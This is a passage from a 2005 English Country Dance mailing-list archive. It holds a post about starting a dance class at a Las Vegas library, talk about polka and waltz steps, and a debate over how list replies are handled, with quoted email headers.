say 600 and 1650. This organization is about To celebrate its 40th Anniversary (do organizations have Birthdays?) and I am on their international, Arizona, and Southern California/Southern Nevada/Hawaii regional organization dance lists. Right now much of the discussion I am seeing on those lists pertains to the dancing at the Grand Ball to be held at the www.estrellawar.org event in Goodyear (Greater Western Phoenix, AZ) in February over President's day weekend 2006. The biggest Grand Ball that I've ever attended .. the SCA annually holds at www.pennsicwar.org in Slippery Rock, Pennsylvania in August. I attended in 2004 and had a blast... But that is digression... Since you asked specifically about ECD in Las Vegas. EC Dancing in Las Vegas, when I arrived, was limited to when Countess Ealasaid Nic Churlain travelled up to Las Vegas from Los Angeles and provided the teaching and the calling. Some of you may know her as Marsden Macrae. I love Marsden's teaching, but we can't get her up here often enough for the dancers to be happy. Still she comes out several times a year, and for that we are grateful. Roughly three years ago, I asked Marsden about how we might set up an English Country Dance class regularly here, and I was thinking we could have it on campus at UNLV, and my new position of President of a recognized student organization would help us. Alas, while Marsden did find us a local who could instruct us, that local instructor was not part of the ""university community"" which was narrowly defined as students, staff, and faculty. Campus insisted that I could book the room for free as a student organization but after using it some fifty times or more, they could decide to back bill me $200.00 a night because the instructor was alledgedly seen to have moved their feet or participated in the dancing -- thus changing their category from ""the source of entertainment"" to ""non-university community participant"" the latter being their trigger to demand rent. Nothing really to worry about there because before they'd send me the bill, they'd block all future attempts to register for classes or procure transcripts. Disciplinary action for failure to pay on demand wouldn't start until at least after two weeks from the mailing date. I really worked hard to reverse them on their position, citing many reasons and examples, but the end result was that we had a three-month delay and eventually found that we could use our on-campus student organization recognition papers to apply to the public library for access to a room, free of charge, during library hours, and up to twice a month -- as they provide to other non-profit organizations -- subject to the stipulation that our classes be free and open to the public. Yippee! Regularly scheduled English Country Dance class began. Our first instructor/caller was Chris Kawa. Later, Chris stepped back and Norma Biggar took over. Norma has been supplemented at times by myself, Jim Dana, and Jeanne Russell. I have about five dances in my reperitoire, and started calling literally from the floor when I noticed the people nearest to me in the dance ""Hole in the Wall"" were stumbling with the steps, and ever since then ""Hole in the Wall"" has been mine to call. I need to get more organized, and arrange for music to be portable on my own equipment, and my health issues or my schoolwork keeps getting in the way. I had surgery over the summer, so hopefully the health problems will all be gone permanently. I have not yet created my ""calling cards"" for calling dances, nor put the music on my portable mp3 player...or my laptop. We have been meeting on Monday evenings, from 6:30 to 8:45 (the library closes at 9). Mostly we get the second and third Mondays, but this month due to Labor Day, an organization that holds its business meeting on the first Monday moved their meeting to the second Monday, so we have only the third Monday this month. The room we dance in, the ""Jewel Box Theater"" is not carpeted, and has a stack of chairs, two tables and a grand piano in it. Occasionally we have live music, otherwise we use ""the bard in the box"". Attendance ranges from 4-26, usually in direct proportion to the outside temperature.... Funny not so many dancers come out in the 115+ degrees Fahrenheit heat... The branch is known to most locals at the ""Flamingo Library"" but it's formal name is the ""Clark County Library"". The address is Clark County Library 1401 E. Flamingo Road, Las Vegas, NV 89119. The cross street, Escondido st., is one block east of South Maryland Parkway. I have again begun the process toward re-recognition of the campus student group: ""University Historical Dance Enthusiasts"", a process we need to do each semester in order to keep our ability to book the ECD dates in the library. I personally have danced English Country dances once quarterly for two years, then monthly for two more years, then not at all for nearly two decades, then picked it up again at UC Berkeley in 2000. In our dance classes at the library, we have done English Country Dances considered ""in period"" for the sponsoring group, English Country Dances considered ""too modern to be in period"" for the sponsoring group, as well as other favorites like Bransles, Pavannes, Alemandes, and I hope to introduce 15th Century Italian dance when I feel confident or find an instructor. I have dance materiel from England, France, Italy and Germany running from the 15th to 17th centuries. I personally have also danced English Regency, Contra, Square and Israeli and International Folk dances. I have attended classes for Tribal Dance (about 500 years before modern Cabaret-Style Belly Dancing), and have drummed for dancers in that style. Which hook-ups do you want? I visited Las Vegas in November of 2000, and was lucky that Marsden visited then too. I expect she will be back here in late January or Early February for the local ""Collegium of the Desert"" event which is held annually in Henderson or Las Vegas. Norma maintains an email list of all sorts of dancing opportunies that I know has included English Country, Contra, Square, International Folk, Israeli Folk, and more.. In areas near Las Vegas but inclusive of Southern California, Arizona and Western Utah. Does anyone in or near Phoenix, AZ want information about free dance classes open to the public at ASU Tempe? I can't promise that ever dance will be English Country there. They may do SCA favorites that are not English Dances... Anyone anywhere else that wants me to try to find some historical dancing for them (through contact with one or more historical recreation groups that I belong to) should email me privately with their city, state or province, and country and I'll do what I can. The last disbeliever who challenged me was astonished that my resources included a group within seven miles of his home in Perth, Western Austrailia. Last I heard he had joined up and was making armor for Knightly combat. In Service, JB Green, Undergraduate Student College of Business University of Nevada, Las Vegas We now return to our regularly scheduled homework... Send more questions, please! (not so blind) Blind Carbon Copies to: Marsden Macrae, Norma Biggar, Chris Kawa, Jim Dana, and Jeanne Russell. I'd send them more openly but I didn't want to send out their email addresses without permission. ================================================================================ Archive-Date: Fri, 09 Sep 2005 19:52:20 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu From: ""JB Green"" Reply-To: ECD-AT-playford.slac.stanford.edu To: Subject: [ECD] English Dancing in Las Vegas, part two Date: Fri, 9 Sep 2005 19:51:34 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit I did it again... I sent the mail without completing all my thoughts...sorry. Another topic on those lists I mentioned is the Grand Ball at www.greatwesternwar.org. I've never been to a GWW, and don't know how much dancing they have usually done in prior years. I'm not scheduled to attend this year's GWW either, due to prior engagements that same weekend and health concerns. It's really quite soon. Also I had intended to say that once the dance lists from these balls are published, we may slant our English Dance classes toward teaching the dances that will be at these Balls. That way more dancers can be prepared. This doesn't mean that there won't be instruction at those events, but it's more likely at the balls that the instruction provided will be refresher-type and not new-dancer-who-has-never-seen-those-steps type instruction. We teach every dance before we call them at the Library in Las Vegas, and I may be starting beginners classes on campus and monthly in Bullhead City, Arizona this semester as well. JB Green (this part not BCCed to everyone who wasn't mentioned in this part) ================================================================================ Archive-Date: Fri, 09 Sep 2005 20:47:36 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <6.2.3.4.2.20050909224235.01ddfc70-AT-mail.mhtc.net> Date: Fri, 09 Sep 2005 22:47:07 -0500 To: ECD-AT-ssrl04.slac.stanford.edu From: ""M.G. Mudrey, Jr."" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] English Dialect Website References: <01LSU6P6MZJE9Z4D9Q-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_24926843==.ALT"" --=====================_24926843==.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed >How many American dancers have any idea of how to polka? Can you put >them all on the head of a pin..... >-- >Emily Very few. I do vintage dancing and know about 50 variants on polka. At a scottish ball once, the teacher was briefing gay gordeons, and stated that we then polka'd. I ask her what she meant. She looked at me incredulously. After she demonstrated, I saw that she was doing a pas de bas not a polka. I have similar comments about waltz. There are many waltz varients if one does vintage dancing, including 2/4 and 5/4, which way the couple faces, etc. boston (slow waltz) box steps, Viennese, etc. A waltz is step, step close, not step close step. A running watlz is step, step step. There...Now I have started a new thread of 2bits worth. mm --=====================_24926843==.ALT Content-Type: text/html; charset=""us-ascii"" How many American dancers have any idea of how to polka?  Can you put them all on the head of a pin..... -- Emily Very few.  I do vintage dancing and know about 50 variants on polka.  At a scottish ball once, the teacher was briefing gay gordeons, and stated that we then polka'd.  I ask her what she meant.  She looked at me incredulously. After she demonstrated, I saw that she was doing a pas de bas not a polka. I have similar comments about waltz.  There are many waltz varients if one does vintage dancing, including 2/4 and 5/4, which way the couple faces, etc.  boston (slow waltz) box steps, Viennese, etc.  A waltz is step, step close, not step close step. A running watlz is step, step step.  There...Now I have started a new thread of 2bits worth. mm --=====================_24926843==.ALT-- ================================================================================ Archive-Date: Fri, 09 Sep 2005 20:50:11 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050909234944.y7ngi3prko4kg8o0-AT-web.mail.umich.edu> Date: Fri, 09 Sep 2005 23:49:44 -0400 From: rscodel-AT-umich.edu Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] Re: Fae's much discussed program References: <25910391.1125343358065.JavaMail.root-AT-elwamui-mouette.atl.sa.earthlink.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=""flowed"" Content-Transfer-Encoding: 7bit I just came home from Fae's much-debated ""What I learned on my vacation"" dance, and it was great. It is possible for a group of experienced dancers to spend almost the whole evening doing dances new to most of them and have a wonderful time (it clearly helps to have great music). Even with my clumsy & inexperienced calling people were obviously enjoying ""Perpetual Motion"" a lot and there were very few trouble spots. I think it shows that some things work well in particular dance communities that wouldn't work at all in others. Another lesson may be that since even many experienced dancers have poor memories for individual dances, it may matter less that dances are unfamiliar than some of us expect because we ourselves always remember whether we've done a dance before. (Of course if people couldn't have fun doing all unfamiliar dances, they would never have fun at a first dance...) ================================================================================ Archive-Date: Fri, 09 Sep 2005 22:02:32 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu From: DavBarnert-AT-aol.com Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <9a.2d337f4d.3053c2ca-AT-aol.com> Date: Sat, 10 Sep 2005 01:02:02 EDT Subject: Re: [ECD] Re: Season opener this Saturday afternoon! To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Emily wrote: > I'm one who agrees with Alan. Me, too. I read the list as a digest, so there's never any danger of sending a message to the list accidently. But don't all messages that come through the list get ""[ECD]"" added to the subject line? Shouldn't that be fair warning not to hit ""reply"" unless you want to post to the list? David Barnert Albany, NY but right now in the Adirondaks following the Gene Murrow/Baltimore Consort ""Macomb Ball."" ================================================================================ Archive-Date: Sat, 10 Sep 2005 01:12:33 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <00d101c5b5df$11eb60a0$638d4a0c-AT-compaq14453453> From: ""Paul Stamler"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <01LSU6P6MZJE9Z4D9Q-AT-SSRL.SLAC.STANFORD.EDU> Subject: Re: [ECD] English Dialect Website Date: Sat, 10 Sep 2005 03:10:12 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit ----- Original Message ----- From: ""Emily L. Ferguson"" <> I grew up on the south side of Chicago. A *whole* lot of people there knew how to polka, and did so at every opportunity. The same, I gather, in Michigan's Upper Peninsula. And Pittsburgh. And plenty of other places where folks from Eastern Europe and Scandinavia immigrated. The folks who do this in the bars don't usually join ECD groups, though. Peace, Paul (who just played for a roomful of folks who knew how to polka) ================================================================================ Archive-Date: Sat, 10 Sep 2005 04:21:03 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <01LSU6P6MZJE9Z4D9Q-AT-SSRL.SLAC.STANFORD.EDU> <00d101c5b5df$11eb60a0$638d4a0c-AT-compaq14453453> Date: Sat, 10 Sep 2005 07:20:30 -0400 To: ECD-AT-ssrl04.slac.stanford.edu From: ""Emily L. Ferguson"" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] English Dialect Website Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" At 3:10 AM -0500 9/10/05, Paul Stamler wrote: >The folks who do this >in the bars don't usually join ECD groups, though. Aye, laddie. There's the rub! -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ================================================================================ Archive-Date: Sat, 10 Sep 2005 05:28:45 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Date: Sat, 10 Sep 2005 08:28:09 -0400 Subject: Re: [ECD] Re: Season opener this Saturday afternoon! Message-ID: <20050910.082814.-371391.0.FFuerst-AT-juno.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Fae Fuerst Reply-To: ECD-AT-playford.slac.stanford.edu I love having the [ECD] tag, thanks Alan! This one didn't have the [ECD]...don't know why it slipped through like that. But in general, it's a very useful clue. Maybe this semi-interesting discussion will help those of us with holes in our heads and punchy email reflexes. Don't count on it... And it's just fine the way it is. Fae On Sat, 10 Sep 2005 01:02:02 EDT DavBarnert-AT-aol.com writes: > Emily wrote: > > > I'm one who agrees with Alan. > > Me, too. I read the list as a digest, so there's never any danger of > sending > a message to the list accidently. But don't all messages that come > through the > list get ""[ECD]"" added to the subject line? Shouldn't that be fair > warning > not to hit ""reply"" unless you want to post to the list? > > David Barnert > Albany, NY > but right now in the Adirondaks following the Gene Murrow/Baltimore > Consort > ""Macomb Ball."" > > ================================================================================ Archive-Date: Sat, 10 Sep 2005 07:33:51 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sat, 10 Sep 2005 10:32:55 -0400 From: Cara Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Munging . . . To: ECD-AT-ssrl04.slac.stanford.edu Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7BIT I'm feeling a little farklempt. Tawwk a-MUNG-st y'selves. . . Cara ;-p -----Original Message----- From: owner-ecd-AT-ssrl04.slac.stanford.edu [mailto:owner-ecd-AT-ssrl04.slac.stanford.edu] On Behalf Of system-AT-ssrl04.slac.stanford.edu Sent: Saturday, September 10, 2005 10:00 AM To: ECD-DIGEST-AT-ECD Subject: ECD Digest V1 #1822 ECD Digest Sat, 10 Sep 2005 Volume 1 : Issue 1822 Today's Topics: [ECD] English Dancing in Las Vegas, part two [ECD] English Dialect Website (7 msgs) [ECD] Re: Fae's much discussed program [ECD] Re: personal notes, ECD list, Reply-to Munging, and List (3 msgs) [ECD] RE: personal notes.... [ECD] Re: personal postings (2 msgs) [ECD] Re: Season opener this Saturday afternoon! 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Archives for ECD can be found through Header info update 9-Apr-2002 ---------------------------------------------------------------------- Date: Fri, 9 Sep 2005 19:51:34 -0700 From: ""JB Green"" Subject: [ECD] English Dancing in Las Vegas, part two Message-ID: I did it again... I sent the mail without completing all my thoughts...sorry. Another topic on those lists I mentioned is the Grand Ball at www.greatwesternwar.org. I've never been to a GWW, and don't know how much dancing they have usually done in prior years. I'm not scheduled to attend this year's GWW either, due to prior engagements that same weekend and health concerns. It's really quite soon. Also I had intended to say that once the dance lists from these balls are published, we may slant our English Dance classes toward teaching the dances that will be at these Balls. That way more dancers can be prepared. This doesn't mean that there won't be instruction at those events, but it's more likely at the balls that the instruction provided will be refresher-type and not new-dancer-who-has-never-seen-those-steps type instruction. We teach every dance before we call them at the Library in Las Vegas, and I may be starting beginners classes on campus and monthly in Bullhead City, Arizona this semester as well. JB Green (this part not BCCed to everyone who wasn't mentioned in this part) ------------------------------ Date: Fri, 9 Sep 2005 18:45:24 -0700 (PDT) From: Mike White Subject: [ECD] English Dialect Website Message-ID: <20050910014524.31633.qmail-AT-web31505.mail.mud.yahoo.com> All, I came across this website on my surf through Yahoo's picks of the week. http://www.collectbritain.co.uk/collections/dialects/ It contains voice clips from various regions of the United Kingdom and from different times as well. Quite fascinating. Also, today I pulled out my copy of the Community Dance Manuals and realized it's been years since I had actually tried to use any of these dances with our regular English Country Dance sessions. Among American groups, how many of you use any of this traditional material in your dance sessions. I know there are a few English Ceilidh groups represented. Do you use any of these dances regularly. Personally, I like some of the tunes a lot and am particularly fond of hornpipes. Some of the dances are interesting and easily accessible. What do you all think? Mike White Cincinnati OH ______________________________________________________ Click here to donate to the Hurricane Katrina relief effort. http://store.yahoo.com/redcross-donate3/ ------------------------------ Date: Fri, 09 Sep 2005 19:03:42 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] English Dialect Website Message-ID: <01LSU6P6MZJE9Z4D9Q-AT-SSRL.SLAC.STANFORD.EDU> Mike White wrote: > I came across this website on my surf through Yahoo's > picks of the week. > http://www.collectbritain.co.uk/collections/dialects/ > It contains voice clips from various regions of the > United Kingdom and from different times as well. > Quite fascinating. Cool! > Also, today I pulled out my copy of the Community > Dance Manuals and realized it's been years since I had actually tried > to use any of these dances with our regular English Country Dance > sessions. Among American groups, how many of you use any of this > traditional material in your dance sessions. I know > there are a few English Ceilidh groups represented. > Do you use any of these dances regularly. For the Berkeley, CA English Ceilidh session (sometimes known as ""Berkeley Barn Dance""), many of those dances are valuable. Good fun with ""Nottingham Swing"", ""Up the Sides and Down the Middle"", ""Cumberland Square 8"", ""Circle Waltz"", ""Bonny Breast Knot"", ""Speed The Plough"", etc. Great stuff. > Personally, I like some of the tunes a lot and am particularly fond of > hornpipes. Some of the dances are interesting and easily accessible. > What do you all think? It depends on what you can sell to your crowd. There are a lot of people in the ECD world - including those who started doing English because they were too injured or winded to do contra any longer - who just don't want to step-hop, gallop, or rant, or who do stepping gingerly and tentatively. This stuff wants to be robust, though not necessarily precise; it's a different set of expectations than a lot of ECDers have. Also, a lot of this stuff is so accessable as to be boring to people who enjoy intellectual challenge. This makes it good one-night-stand material, where you're just giving people an excuse to have fun together with dancing, If you can sell it, it's great! If your dancers don't already have their expectations set in a way that keeps them from enjoying it, and don't have physical compromises, go for it! (Nonetheless, I encourage you to give fair warning before introducing anything with a lot of bounce; play the tune, bounce around the room yourself, and let people know what they're getting into before they get trapped in something that will hurt them, or be forced to abandon their partner.) -- Alan -- ============================================================================ === Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 ============================================================================ === ------------------------------ Date: Fri, 9 Sep 2005 22:22:43 -0400 From: ""Emily L. Ferguson"" Subject: Re: [ECD] English Dialect Website Message-ID: At 7:03 PM -0700 9/9/05, Alan Winston - SSRL Central Computing wrote: >It depends on what you can sell to your crowd. There are a lot of >people in the ECD world - including those who started doing English >because they were too injured or winded to do contra any longer - who >just don't want to step-hop, gallop, or rant, or who do stepping >gingerly and tentatively. This stuff wants >to be robust, though not necessarily precise; it's a different set of >expectations than a lot of ECDers have. > >Also, a lot of this stuff is so accessable as to be boring to people >who enjoy intellectual challenge. This makes it good one-night-stand >material, where you're just giving people an excuse to have fun >together with dancing, Oh, Alan. You are so tactful! ""So accessible""! Love it. How many American dancers have any idea of how to polka? Can you put them all on the head of a pin..... -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ------------------------------ Date: Fri, 9 Sep 2005 22:22:43 -0400 From: ""Emily L. Ferguson"" Subject: Re: [ECD] English Dialect Website Message-ID: At 7:03 PM -0700 9/9/05, Alan Winston - SSRL Central Computing wrote: >It depends on what you can sell to your crowd. There are a lot of >people in the ECD world - including those who started doing English >because they were too injured or winded to do contra any longer - who >just don't want to step-hop, gallop, or rant, or who do stepping >gingerly and tentatively. This stuff wants >to be robust, though not necessarily precise; it's a different set of >expectations than a lot of ECDers have. > >Also, a lot of this stuff is so accessable as to be boring to people >who enjoy intellectual challenge. This makes it good one-night-stand >material, where you're just giving people an excuse to have fun >together with dancing, Oh, Alan. You are so tactful! ""So accessible""! Love it. How many American dancers have any idea of how to polka? Can you put them all on the head of a pin..... -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ------------------------------ Date: Fri, 09 Sep 2005 22:47:07 -0500 From: ""M.G. Mudrey, Jr."" Subject: Re: [ECD] English Dialect Website Message-ID: <6.2.3.4.2.20050909224235.01ddfc70-AT-mail.mhtc.net> --=====================_24926843==.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed >How many American dancers have any idea of how to polka? Can you put >them all on the head of a pin..... >-- >Emily Very few. I do vintage dancing and know about 50 variants on polka. At a scottish ball once, the teacher was briefing gay gordeons, and stated that we then polka'd. I ask her what she meant. She looked at me incredulously. After she demonstrated, I saw that she was doing a pas de bas not a polka. I have similar comments about waltz. There are many waltz varients if one does vintage dancing, including 2/4 and 5/4, which way the couple faces, etc. boston (slow waltz) box steps, Viennese, etc. A waltz is step, step close, not step close step. A running watlz is step, step step. There...Now I have started a new thread of 2bits worth. mm --=====================_24926843==.ALT Content-Type: text/html; charset=""us-ascii"" How many American dancers have any idea of how to polka?  Can you put them all on the head of a pin..... -- Emily Very few.  I do vintage dancing and know about 50 variants on polka.  At a scottish ball once, the teacher was briefing gay gordeons, and stated that we then polka'd.  I ask her what she meant.  She looked at me incredulously. After she demonstrated, I saw that she was doing a pas de bas not a polka. I have similar comments about waltz.  There are many waltz varients if one does vintage dancing, including 2/4 and 5/4, which way the couple faces, etc.  boston (slow waltz) box steps, Viennese, etc.  A waltz is step, step close, not step close step. A running watlz is step, step step.  There...Now I have started a new thread of 2bits worth. mm --=====================_24926843==.ALT-- ------------------------------ Date: Sat, 10 Sep 2005 03:10:12 -0500 From: ""Paul Stamler"" Subject: Re: [ECD] English Dialect Website Message-ID: <00d101c5b5df$11eb60a0$638d4a0c-AT-compaq14453453> ----- Original Message ----- From: ""Emily L. Ferguson"" <> I grew up on the south side of Chicago. A *whole* lot of people there knew how to polka, and did so at every opportunity. The same, I gather, in Michigan's Upper Peninsula. And Pittsburgh. And plenty of other places where folks from Eastern Europe and Scandinavia immigrated. The folks who do this in the bars don't usually join ECD groups, though. Peace, Paul (who just played for a roomful of folks who knew how to polka) ------------------------------ Date: Sat, 10 Sep 2005 07:20:30 -0400 From: ""Emily L. Ferguson"" Subject: Re: [ECD] English Dialect Website Message-ID: At 3:10 AM -0500 9/10/05, Paul Stamler wrote: >The folks who do this >in the bars don't usually join ECD groups, though. Aye, laddie. There's the rub! -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ------------------------------ Date: Fri, 09 Sep 2005 23:49:44 -0400 From: rscodel-AT-umich.edu Subject: [ECD] Re: Fae's much discussed program Message-ID: <20050909234944.y7ngi3prko4kg8o0-AT-web.mail.umich.edu> I just came home from Fae's much-debated ""What I learned on my vacation"" dance, and it was great. It is possible for a group of experienced dancers to spend almost the whole evening doing dances new to most of them and have a wonderful time (it clearly helps to have great music). Even with my clumsy & inexperienced calling people were obviously enjoying ""Perpetual Motion"" a lot and there were very few trouble spots. I think it shows that some things work well in particular dance communities that wouldn't work at all in others. Another lesson may be that since even many experienced dancers have poor memories for individual dances, it may matter less that dances are unfamiliar than some of us expect because we ourselves always remember whether we've done a dance before. (Of course if people couldn't have fun doing all unfamiliar dances, they would never have fun at a first dance...) ------------------------------ Date: Fri, 9 Sep 2005 17:59:16 -0400 (EDT) From: ""Susan R. Lorand"" Subject: [ECD] Re: personal notes, ECD list, Reply-to Munging, and List Message-ID: JB Green wrote: > Munging actually removes the individual senders email address from the > headers, which detractors of munging say breaks the functionality of > their email programs. They have a valid point, as you have observed, > because after munging there is no visible difference between ""Reply"" > and ""Reply-to-all"" and without munging, those functions have different > results. You're right that the listserv *adds* a reply-to address to the header; but it does not necessarily *remove* the sender's name. (Maybe it's being concealed by your software?) Here is the header of your message as it came to me: Date: Fri, 09 Sep 2005 14:31:50 -0700 From: JB Green Reply-To: ECD-AT-ssrl04.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] Re: personal notes, ECD list, Reply-to Munging, and List Behaviors. It's the sender's address that appears in my in-box as the sender.[1] If I wanted to reply privately, I could reply to the sender without cutting and pasting, simply by rejecting the software's offer to direct my reply to the reply-to address. (Unfortunately, I don't think the email software I'm using - Pine - is widely available to individuals. But perhaps there are other programs that behave equally helpfully?) I'm in favor of reply-to-list as the default for this discussion list. The suggestion (sorry, I forget who made it) of an occasional reminder from the listowner about this sounds reasonable if Alan is willing. - Susie Lorand [1] It's clear that this is the case for several people who have inadvertently replied on-list because they didn't see the ""To"" or ""Reply-to"" header. ------------------------------ Date: Sat, 10 Sep 2005 01:40:11 +0100 From: ""Keith Elmo Eldridge"" Subject: [ECD] RE: personal notes, ECD list, Reply-to Munging, and List Message-ID: <05d601c5b5a0$33d97010$0e02a8c0-AT-ontario> JB Green wrote: > Can you tell which list behavior I support? The right one. Cheers Elmo -- --Buxworth, High Peak, Derbyshire, England --Elmo-AT-aphelia.co.uk --I am, therefore I dance. I dance therefore I am. ------------------------------ Date: Fri, 9 Sep 2005 19:16:06 -0700 From: ""JB Green"" Subject: Re: [ECD] Re: personal notes, ECD list, Reply-to Munging, and List Message-ID: Susan, I usually process 99% my email from home, on my Windows PC, using Microsoft Outlook. Full headers are available to me. I was trying to explain to Tom that the reason he wasn't seeing a difference between ""reply"" and ""reply-to-all"" was because the headers were already munged to make Reply go to the list. That's what the Reply-to Header that you quoted does. I have access to pine for email only with my University accounts, and I have access to my university accounts and my non-university accounts together under Outlook, which is why I'm outlook-centric and not pine-centric. In my experience as an email system administrator, the munging actually supplants the ""reply-to"" header that used to be populated with the email address of the sender... And replaces it with a ""reply-to"" header that is populated with the email addres of the list. The message itself was shown (by outlook) as coming from ""Susan R. Lorand"" in the brief view, and when I open the message it shows ""owner-ecd-AT-ssrl04.slac.stanford.edu; on behalf of; Susan R. Lorand [srl-AT-Princeton.EDU]"". Furthermore, to avoid the risk of being charged with the heinous crime of ""brevity"", I attach all the headers I received from your message below my signature. JB",0,1 ,,,,"envelope-from=owner-ecd-AT-ssrl04.slac.stanford.edu Received: from ssrl04.slac.stanford.edu (ssrl04.slac.stanford.edu [134.79.33.14]) by nospam3.slac.stanford.edu (8.12.11/8.12.11) with SMTP id j89Lxex7021644; Fri, 9 Sep 2005 14:59:41 -0700 (PDT) (envelope-from owner-ecd-AT-ssrl04.slac.stanford.edu) X-ListName: Discussion of modern and historical English Country Dance Warnings-To: <> Errors-To: owner-ecd-AT-ssrl04.slac.stanford.edu Sender: owner-ecd-AT-ssrl04.slac.stanford.edu Date: Fri, 9 Sep 2005 17:59:16 -0400 (EDT) From: ""Susan R. Lorand"" Reply-To: ECD-AT-ssrl04.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] Re: personal notes, ECD list, Reply-to Munging, and List Behaviors. Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on sna01.concipient.net X-Spam-Level: X-Spam-Status: No, score=-2.6 required=7.0 tests=BAYES_00 autolearn=ham version=3.0.3 X-TFF-CGPSA-Version: 1.4 X-SkyHost-CGPSA-Filter: Scanned > -----Original Message----- > From: owner-ecd-AT-ssrl04.slac.stanford.edu > [mailto:owner-ecd-AT-ssrl04.slac.stanford.edu] On Behalf Of Susan R. > Lorand > Sent: Friday, September 09, 2005 2:59 PM > To: ECD-AT-ssrl04.slac.stanford.edu > Subject: [ECD] Re: personal notes, ECD list, Reply-to Munging, and > List Behaviors. > > JB Green wrote: > > > Munging actually removes the individual senders email > address from the > > headers, which detractors of munging say breaks the > functionality of > > their email programs. They have a valid point, as you have > observed, > > because after munging there is no visible difference > between ""Reply"" > > and ""Reply-to-all"" and without munging, those functions > have different > > results. > > You're right that the listserv *adds* a reply-to address to the > header; but it does not necessarily *remove* the sender's name. > (Maybe it's being concealed by your software?) Here is the header of > your message as it came to me: > > Date: Fri, 09 Sep 2005 14:31:50 -0700 > From: JB Green > Reply-To: ECD-AT-ssrl04.slac.stanford.edu > To: ECD-AT-ssrl04.slac.stanford.edu > Subject: [ECD] Re: personal notes, ECD list, Reply-to Munging, and > List Behaviors. > > It's the sender's address that appears in my in-box as the sender.[1] > If I wanted to reply privately, I could reply to the sender without > cutting and pasting, simply by rejecting the software's offer to > direct my reply to the reply-to address. > > (Unfortunately, I don't think the email software I'm using - Pine - is > widely available to individuals. But perhaps there are other programs > that behave equally helpfully?) > > I'm in favor of reply-to-list as the default for this discussion list. > The suggestion (sorry, I forget who made it) of an occasional reminder > from the listowner about this sounds reasonable if Alan is willing. > > - Susie Lorand > > [1] It's clear that this is the case for several people who have > inadvertently replied on-list because they didn't see the ""To"" or > ""Reply-to"" header. ------------------------------ Date: Fri, 9 Sep 2005 21:12:46 -0400 From: ""Linda M. Nelson"" Subject: [ECD] RE: personal notes.... Message-ID: I admit that i usually enjoy the accidental candid writings. Call me whatever, but someone else's accidental ""send"" can be a little piece of enlightenment. We do tend to be careful in public writings, and choose our words so carefully that even emoticons don't carry our personal spin. Let truth roll on... Hugs to all - Linda -- __________________________________________________ ""Oh, yes. It's vital to remember who you really are. It's very important. It isn't a good idea to rely on other people or things to do it for you, you see. They always get it wrong."" (Terry Pratchett - from ""Sourcery"") __________________________________________________ ------------------------------ Date: Fri, 09 Sep 2005 11:26:51 -0400 From: Pat Petersen Subject: [ECD] Re: personal postings Message-ID: When I receive the digest, the e-mail of the sender appears after the sender's name. It's quite easy to double-click that e-mail rather than making a reply. Does it work the same for others? Also, I would make a plea to those responding to the entire list to delete from their replies the errant and lengthy html repetitions of the original postings and any other extraneous material. Really, it doesn't take that long! Thanks Pat >> >>> Damn! Alan, can you save us from ourselves? Sorry everybody! >> ------------------------------ Date: Fri, 09 Sep 2005 12:46:50 -0500 From: Charlene Charette Subject: Re: [ECD] Re: personal postings Message-ID: <4321CA8A.9040206-AT-earthlink.net> Pat Petersen wrote: > When I receive the digest, the e-mail of the sender appears after the > sender's name. It's quite easy to double-click that e-mail rather > than making a reply. Does it work the same for others? It depends on your software. I use Mozilla and can easily click an email address and send email to it, but prior versions were extremely clunky to send private email to a list post. Even though it was clunky to do, I didn't mind because I'd much prefer replies to default to the list. The majority of the time posters are sending to the list; why make it awkward to so? I, too, don't mind a stray private post now and again. It's not as 